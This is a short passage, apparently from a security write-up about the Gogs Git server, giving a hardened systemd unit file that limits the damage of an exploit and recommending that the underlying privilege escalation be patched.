Mitigations

If you take care in setting up your systemd unit file, you'll be pleasantly surprised to see that exploitation is somewhat contained:

[Unit]
Description=Gogs
After=syslog.target
After=network.target

[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs

# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

This will at least keep filesystem access contained to an ephemeral filesystem created by systemd. It helps, but you should probably patch the privesc and not give any admin.. obviously
